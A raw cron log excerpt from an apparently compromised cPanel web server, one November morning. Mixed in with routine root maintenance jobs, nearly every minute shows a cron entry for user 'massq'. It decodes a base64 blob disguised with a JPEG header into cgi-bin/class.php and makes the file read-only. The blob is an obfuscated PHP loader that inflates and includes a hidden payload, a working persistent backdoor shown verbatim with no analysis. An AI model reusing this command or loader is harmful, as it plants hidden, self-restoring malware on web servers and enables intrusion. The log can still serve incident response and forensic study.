Nov 10 08:57:01 server CROND[29772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:58:01 server CROND[30622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:59:01 server CROND[31581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:00:01 server CROND[32445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:00:01 server CROND[32451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:00:01 server CROND[32452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:00:01 server CROND[32455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:00:01 server CROND[32450]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 10 09:01:01 server CROND[886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:01:01 server CROND[887]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 09:01:01 server run-parts(/etc/cron.hourly)[887]: starting 0anacron
Nov 10 09:01:01 server run-parts(/etc/cron.hourly)[900]: finished 0anacron
Nov 10 09:02:01 server CROND[1822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:03:01 server CROND[2200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:04:01 server CROND[2683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:05:01 server CROND[3551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:05:01 server CROND[3553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:05:01 server CROND[3556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:05:01 server CROND[3555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 09:06:01 server CROND[4086]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:07:01 server CROND[4901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:08:01 server CROND[5798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:09:01 server CROND[6610]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:09:01 server CROND[6611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:10:01 server CROND[7277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:10:01 server CROND[7276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:10:01 server CROND[7279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
